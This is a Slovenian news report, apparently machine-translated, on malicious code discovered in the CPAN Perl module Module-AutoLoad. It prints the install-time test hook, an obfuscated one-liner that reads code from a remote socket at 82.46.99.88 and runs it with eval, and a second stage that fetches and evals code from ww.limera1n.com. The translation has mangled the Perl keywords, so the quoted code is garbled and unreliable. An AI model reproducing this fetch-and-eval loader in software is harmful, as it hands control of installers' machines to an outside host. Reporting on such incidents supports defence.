V paketu Module-AutoLoad Perl je bila odkrita zlonamerna koda

V paketu Perl, ki se distribuira prek imenika CPAN Modul-AutoLoad, zasnovan za samodejno nalaganje CPAN modulov na letenje, identificiran zlonamerna koda. Zlonamerni vložek je bil našel v testni kodi 05_rcx.t, ki pošilja od leta 2011.
Omeniti velja, da so se pojavila vprašanja o nalaganju dvomljive kode Stackoverflow že leta 2016.

Zlonamerna dejavnost se zmanjša na poskus prenosa in izvajanja kode s strežnika tretje osebe (http://r.cx:1/) med izvajanjem testne zbirke, ki se zažene ob namestitvi modula. Predpostavlja se, da prvotno prenesena koda z zunanjega strežnika ni bila zlonamerna, zdaj pa je zahteva preusmerjena na domeno ww.limera1n.com, ki posreduje svoj del kode za izvedbo.

Za organiziranje prenosa v datoteko 05_rcx.t Uporabljena je naslednja koda:

moj $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
moj $poskusi = `$^X $prog`;

Navedena koda povzroči, da se skript izvede ../contrib/RCX.pl, katerega vsebina je zmanjšana na vrstico:

uporabite lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Ta skript se naloži zmeden uporabo storitve perlobfuscator.com kodo zunanjega gostitelja r.cx (kode znakov 82.46.99.88 ustrezajo besedilu "R.cX") in jo izvede v bloku eval.

$ perl -MIO::Socket -e'$b=nov IO::Socket::INET 82.46.99.88.":1″; natisni <$b>;'
eval razpakiraj u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Po razpakiranju se na koncu izvede naslednje: koda:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor vrne opozorilo$@while$b;1

Problematični paket je zdaj odstranjen iz skladišča. PAUSE (Perl Authors Upload Server) in račun avtorja modula je blokiran. V tem primeru modul še vedno ostane na voljo v arhivu MetaCPAN in ga je mogoče neposredno namestiti iz MetaCPAN z uporabo nekaterih pripomočkov, kot je cpanminus. Opaženo jeda paket ni bil široko razdeljen.

Zanimivo za razpravo povezan in avtor modula, ki je zanikal informacijo o vstavitvi zlonamerne kode po vdoru v njegovo stran "r.cx" in pojasnil, da se je samo zabaval, perlobfuscator.com pa ni uporabil za skrivanje, ampak za zmanjšanje velikosti kode in poenostavitev njenega kopiranja prek odložišča. Izbira imena funkcije "botstrap" je razložena z dejstvom, da ta beseda "zveni kot bot in je krajša od bootstrap." Avtor modula je tudi zagotovil, da ugotovljene manipulacije ne izvajajo zlonamernih dejanj, ampak samo prikazujejo nalaganje in izvajanje kode prek TCP.

Vir: opennet.ru

Dodaj komentar